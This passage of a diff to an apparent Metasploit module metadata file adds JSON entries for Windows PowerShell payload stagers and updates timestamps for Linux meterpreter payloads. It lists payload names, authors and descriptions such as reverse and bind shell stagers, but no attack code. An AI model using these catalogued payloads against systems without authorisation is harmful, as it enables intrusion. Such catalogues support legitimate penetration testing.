"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp_allports": {
"name": "Powershell Exec, Windows shellcode stage, Reverse All-Port TCP Stager",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_allports",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Try to connect back to the attacker, on all possible ports (1-65535, slowly)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_allports",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp_dns": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (DNS)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"RageLtMan"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_dns",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp_rc4": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp_rc4_dns": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4_dns",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_udp": {
"name": "Powershell Exec, Windows shellcode stage, Reverse UDP Stager with UUID Support",
"fullname": "payload/cmd/windows/powershell/custom/reverse_udp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"RageLtMan <rageltman@sempervictus>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_udp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_winhttp": {
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_winhttp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows winhttp)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_winhttp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_winhttps": {
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_winhttps",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows winhttp)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_winhttps",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp": {
"name": "Powershell Exec, Hidden Bind Ipknock TCP Stager",
"fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp",
@@ -179633,6 +182020,525 @@
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_named_pipe": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind Named Pipe Stager",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"UserExistsError"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a pipe connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind TCP Stager",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_tcp_rc4": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_http": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_https": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_https",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"agix",
"rwincey"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_named_pipe": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse TCP Stager",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_tcp_rc4": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_winhttp": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_winhttps": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttps",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttps",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": {
"name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager",
"fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp",
@@ -182651,7 +185557,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_http",
@@ -182687,7 +185593,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_https",
@@ -182723,7 +185629,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_tcp",
@@ -182827,7 +185733,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_http",
@@ -182863,7 +185769,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_https",
@@ -182899,7 +185805,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_tcp",
@@ -182967,7 +185873,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/armle/adduser.rb",
"is_install_path": true,
"ref_name": "linux/armle/adduser",
@@ -183001,7 +185907,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-09-22 12:55:41 +0000",
"path": "/modules/payloads/singles/linux/armle/exec.rb",
"is_install_path": true,
"ref_name": "linux/armle/exec",
@@ -183108,7 +186014,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_http",
@@ -183144,7 +186050,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_https",
@@ -183180,7 +186086,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_tcp",
@@ -183354,7 +186260,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_http",
@@ -183390,7 +186296,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_https",
@@ -183426,7 +186332,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_tcp",
@@ -183533,7 +186439,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_http",
@@ -183569,7 +186475,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_https",
@@ -183605,7 +186511,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_tcp",
@@ -183854,7 +186760,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_http",
@@ -183890,7 +186796,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_https",
@@ -183926,7 +186832,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-09-16 18:20:06 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_tcp",
@@ -184104,7 +187010,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-04 14:43:05 +0000",
"mod_time": "2022-08-30 10:15:36 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_http",
@@ -184140,7 +187046,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
